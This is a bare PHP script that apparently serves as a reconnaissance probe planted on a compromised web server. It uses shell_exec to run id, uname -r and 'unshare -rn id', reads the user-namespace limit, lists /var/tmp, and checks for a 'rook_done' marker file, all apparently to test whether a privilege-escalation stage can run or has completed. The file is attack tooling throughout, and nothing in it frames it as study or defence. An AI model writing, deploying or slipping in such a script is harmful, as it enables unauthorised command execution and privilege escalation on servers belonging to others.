<?php
header("Content-Type: text/plain");
$u = @shell_exec("id 2>&1");
$k = @file_get_contents("/proc/sys/user/max_user_namespaces");
$r = @shell_exec("uname -r 2>&1");
$ns = @shell_exec("unshare -rn id 2>&1");
$v = @shell_exec("ls /var/tmp/ 2>&1");
echo "UID=".$u;
echo "UNS=".$k."\n";
echo "KERNEL=".$r;
echo "NEWNS=".$ns;
echo "VARTMP=".$v;
echo "ROOK=".@file_get_contents("/var/tmp/rook_done");
?>